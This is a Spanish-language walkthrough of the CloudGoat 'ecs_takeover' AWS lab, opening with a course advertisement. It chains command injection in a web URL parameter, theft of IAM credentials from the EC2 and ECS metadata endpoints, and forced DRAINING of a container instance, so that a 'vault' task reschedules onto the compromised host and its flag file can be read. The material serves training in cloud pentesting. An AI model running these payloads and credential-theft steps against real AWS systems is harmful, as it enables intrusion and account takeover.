# Cluster Hijacking
{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}
{% hint style="warning" %}
Este contenido se adentra en una técnica avanzada de post-explotación, crucial para entender cómo maximizar el impacto de un ataque una vez que se ha conseguido penetrar en un sistema. Es importante recalcar que la ejecución de esta técnica presupone que el atacante o consultor ya ha obtenido ciertos niveles de privilegios dentro de la infraestructura objetivo. Sin estos privilegios, llevar a cabo el ataque explicado aquí no sería posible. Proceder con cautela y siempre dentro del marco legal y ético es fundamental.
{% endhint %}
En este escenario comenzaremos realizando un pentesting de caja negra contra un aplicativo web alojado en una instancia EC2.
Luego de identificar una vulnerabilidad que permite RCE sobre el aplicativo web abusaremos del servicio de metadatos de la instancia y del docker.
Para posteriormente, comprometer una de las tareas que está corriendo aun cluster al que tendremos acceso por medio de la instancia comprometida.
```
./cloudgoat.py create ecs_takeover
```
Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:
En la evidencia previa, podemos apreciar una URL: `ec2-18-212-167-253.compute-1.amazonaws.com`
Vamos a comenzar, realizando un escaneo de puertos sobre la URL entregada:
```
nmap -sV ec2-18-212-167-253.compute-1.amazonaws.com
```
Gracias al resultado de Nmap, podemos afirmar con seguridad que el servicio HTTP está corriendo en el puerto 80 sobre la URL inicial.
Vamos a acceder al aplicativo web desde el navegador para conocer lo que vamos a auditar:
En la evidencia previa, pudimos identificar un campo que permite el ingreso de texto y está solicitando una URL.
Luego de ingresar `www.google.com` en el campo identificado, podemos apreciar como automáticamente se agrega el parámetro URL sobre el link original y además vemos como también el aplicativo web incrusta el código HTML sobre el DOM de la página web:
Si capturamos la petición con un proxy como BurpSuite lograremos identificar lo siguiente:
Ahora que hemos analizado el comportamiento del aplicativo, vamos a intentar realizar una inyección de comandos sobre el sitio web:
Para ello es recomendable utilizar un intruder de BurpSuite con un diccionario como el que se encuentra en el siguiente enlace:
{% embed url="" %}
Luego de utilizar el intruder e identificar que el aplicativo es vulnerable a inyección de comandos sobre el input localizado podemos realizar una enumeración del sistema:
Vamos a retornar las variables de entorno del equipo:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;env
```
En la evidencia previa, podemos afirmar que nos encontramos en una instancia EC2 y que probablemente hay unos contendores corriendo por medio de ECS.
Vamos a retornar el hostname del equipo:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;hostname
```
Vamos a retornar UID y el GID del usuario actual:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;id
```
El retorno del comando id indica que estamos en un equipo con sistema operativo Linux y que el aplicativo está corriendo con el usuario root.
Por lo anterior, no será necesario realizar una escalación de privilegios sobre el equipo.
Vamos a seguir enumerando para identificar algún posible vector de ataque.
En el proceso de enumeración interna de un servidor, es recomendable utilizar los siguientes scripts:
* Windows:
* Linux:
Una validación básica es analizar el contenido del archivo sensible /etc/passwd
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;cat /etc/passwd
```
Otra validación importante que se debe realizar es identificar las interfaces de red existentes en el servidor:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;ip a show
```
En la evidencia previa, pudimos identificar que existe una interfaz de red llamada Docker.
Por lo anterior, vamos a enfocarnos a partir de este momento en una enumeración orientada en Docker.
Vamos a validar los contenedores:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;docker ps -a
```
Por la composición de la URL y de las variables de entorno identificadas, podríamos afirmar con seguridad que estamos sobre un servicio alojado en la nube de AWS.
En el retorno del comando previo, pudimos identificar los siguientes contenedores:
| Nombre del contenedor | ID del contenedor |
| ------------------------------------------------------------------------------------------ | ----------------- |
| ecs-cg-ecs-takeover-ecs\_takeover\_cgidoc6vcayyqm-vulnsite-1-vulnsite-c8afb7c6c79b90f78a01 | 74982c535387 |
| ecs-cg-ecs-takeover-ecs\_takeover\_cgidoc6vcayyqm-privd-1-privd-a29abccb8ff6daa43300 | b53d1b7fdd08 |
| ecs-agent | ab2087c21311 |
Por lo anterior, sería buena idea tratar de consumir el servicio de metadatos para tratar de asumir el rol de la instancia actual:
{% code overflow="wrap" %}
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=; curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgidoc6vcayyqm-ecs-agent
```
{% endcode %}
{% hint style="warning" %}
Los contenedores tienen un servicio de metadatos de contenedor que pueden usar para acceder al rol adjunto a su contenedor. La instancia EC2 también tiene habilitado su servicio de metadatos y, de forma predeterminada, se puede acceder a ella desde todos los contenedores que se ejecutan en el cluster. Como resultado, todos los contenedores en el host pueden obtener el rol de la instancia y alterar el estado del clúster.
{% endhint %}
Los permisos de este primer rol llamado cg-ecs-takeover-ecs\_takeover\_cgidoc6vcayyqm-ecs-agent – (Rol de EC2), son los siguientes:
Antes de autenticarnos con este rol, vamos a tratar también de extraer credenciales del Docker ya que podríamos tener aún más permisos que el rol actual y facilitar la enumeración de privilegios.
Si analizamos esta política podemos apreciar que tenemos varios permisos relacionados al ECR, ECS y unos pocos en el servicio de logs.
Las tareas de ECS pueden tener un rol de IAM asociado a ellas. Los permisos que se ejecutan en la tarea asumen los permisos concedidos en el rol de IAM.
El agente de Amazon ECS rellena la variable de entorno `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` en el objeto env (disponible con el comando `docker inspect container_id`) para todos los contenedores que pertenecen a esta tarea.
En pocas palabras, para obtener unas credenciales de IAM del contenedor tenemos que comunicarnos con la siguiente URL:
`http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
Vamos a acceder a uno de los contenedores y tratemos de consultar el servicio de metadatos de dicho contenedor.
El Docker al que vamos a acceder es el siguiente:
* [x] ecs-cg-ecs-takeover-ecs\_takeover\_cgidoc6vcayyqm-privd-1-privd-a29abccb8ff6daa43300
{% code overflow="wrap" %}
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=; docker exec b53d1b7fdd08 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
{% endcode %}
Por medio del comando docker exec, podemos controlar internamente a ese contenedor.
Y utilizando wget, podemos realizar una petición GET contra el punto de enlace de credenciales desde este contenedor.
{% code overflow="wrap" %}
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=; docker exec b53d1b7fdd08 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
{% endcode %}
Los permisos de este segundo rol llamado `cg-ecs-takeover-ecs_takeover_cgidoc6vcayyqm-privd` – (Rol de contenedor), son los siguientes:
{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario **cg-ecs-takeover-ecs\_takeover\_cgidoc6vcayyqm-privd**.
Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
{% endhint %}
Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.
```
aws configure --profile ecs-privd
```
El token se especificará dentro del archivo plano de credenciales.
```
aws sts get-caller-identity --profile ecs-privd
```
Vamos a listar las políticas para el usuario que será auditado:
{% code overflow="wrap" %}
```
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgidoc6vcayyqm-privd --profile ecs-privd
```
{% endcode %}
Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:
{% code overflow="wrap" %}
```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-ecs-takeover-ecs_takeover_cgidoc6vcayyqm-privd --version-id v1 --profile ecs-privd
```
{% endcode %}
{% hint style="info" %}
Como tenemos permisos de `iam:getpolicyversion`, vamos a validar también los privilegios para el primer rol comprometido. Gracias a este privilegio, no es necesario ejecutar un enumerate-iam y provocar una detección por parte de un Blue Team.
{% endhint %}
{% code overflow="wrap" %}
```
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgidoc6vcayyqm-ecs-agent --profile ecs-privd
```
{% endcode %}
{% code overflow="wrap" %}
```
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role --profile ecs-privd
```
{% endcode %}
{% code overflow="wrap" %}
```
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role --version-id v6 --profile ecs-privd
```
{% endcode %}
Luego de identificar los permisos para el rol comprometido, ya podemos iniciar la auditoria de seguridad.
Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de ECS.
Vamos a validar todos los clusters disponibles:
```
aws ecs list-clusters --profile ecs-privd
```
Y ahora procedemos a validar la información relacionada a las tareas del cluster identificado:
{% code overflow="wrap" %}
```
aws ecs list-tasks --cluster ecs-takeover-ecs_takeover_cgidoc6vcayyqm-cluster --profile ecs-privd
```
{% endcode %}
Y finalmente, validemos los servicios del cluster identificado:
{% code overflow="wrap" %}
```
aws ecs list-services --cluster ecs-takeover-ecs_takeover_cgidoc6vcayyqm-cluster --profile ecs-privd
```
{% endcode %}
Vamos a revisar cada una de las tareas hasta encontrar la que esté relacionada al servicio previamente identificado llamado vault:
{% code overflow="wrap" %}
```
aws ecs describe-tasks --cluster ecs-takeover-ecs_takeover_cgidoc6vcayyqm-cluster --tasks 49221631130d4769a10be7772ee3c13f --profile ecs-privd
```
{% endcode %}
Ahora identifiquemos los contenedores del cluster:
{% code overflow="wrap" %}
```
aws ecs list-container-instances --cluster ecs-takeover-ecs_takeover_cgidoc6vcayyqm-cluster --profile ecs-privd
```
{% endcode %}
Ahora vamos a modificar el estado del cluster para forzar el relanzamiento del docker llamado **vault**.
Para forzar la reprogramación debemos utilizar el permiso `ecs:update-container-instances-stat`e.
Este permiso nos permite actualizar el estado de cualquier instancia del cluster a **DRANING**. Establecer una instancia de cluster al estado **DRANING** hará que todas las tareas se reprogramen. Una vez que hayamos terminado, el clúster se reanudará normalmente y podremos tener acceso a ese docker.
En el paso anterior, hemos enumerado todas las tareas y sus correspondientes instancias ECS (Cabe resaltar, que en las instancias EC2 se ejecutan las tareas, y por tanto los contenedores docker). También vimos cómo está programado cada servicio y hemos descubierto una segunda instancia ECS en donde hay una tarea a la que no hemos tenido acceso anteriormente. Como esa tarea (VAULT) está programada como una REPLICA, ECS intentará reprogramarla en una instancia EC2 disponible si su instancia anfitriona actual se cae por alguna razón.
En pocas palabras vamos a forzar una reprogramación de la tarea vault a nuestra instancia.
Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.
Las credenciales que serán usada en este perfil son las extraídas por el servicio de metadatos del EC2.
```
aws configure --profile ec2-privd
```
El token se especificará dentro del archivo plano de credenciales.
```
aws sts get-caller-identity --profile ec2-privd
```
El token se especificará dentro del archivo plano de credenciales.
Para analizarlo gráficamente, podemos basarnos en la siguiente imagen que está relacionada a la tarea previamente identificada:
Cabe resaltar, que por medio del RCE nosotros nos tenemos acceso a la instancia EC2 con ID **i-0e9d50542ec3d4df3**.
Ahora simplemente cambiemos el estado del contenedor, para que automáticamente ECS asigne este contenedor a nuestra instancia comprometida:
{% code overflow="wrap" %}
```
aws ecs update-container-instances-state --cluster ecs-takeover-ecs_takeover_cgidoc6vcayyqm-cluster --container-instances 37aec60dd6404d76ba7bace97cdaee7e --status DRAINING --profile ec2-privd
```
{% endcode %}
Ahora simplemente, tenemos que esperar a que se reprograme el contenedor "Vault", esto se puede verificar ejecutando docker ps a través de la inyección de comando.
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;docker ps
```
En la evidencia previa, podemos apreciar como en nuestra instancia aparece el contenedor VAULT que inicialmente no aparecía en el comienzo de la auditoria.
Ahora podríamos ejecutar cualquier comando sobre el contenedor VAULT:
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;docker exec eb25a6aa44d4 ls
```
Para finalizar este laboratorio, debemos visualizar un archivo de texto plano “secreto” en el contenedor de VAULT:
{% code overflow="wrap" %}
```
http://ec2-18-212-167-253.compute-1.amazonaws.com/?url=;docker exec eb25a6aa44d4 cat FLAG.TXT
```
{% endcode %}
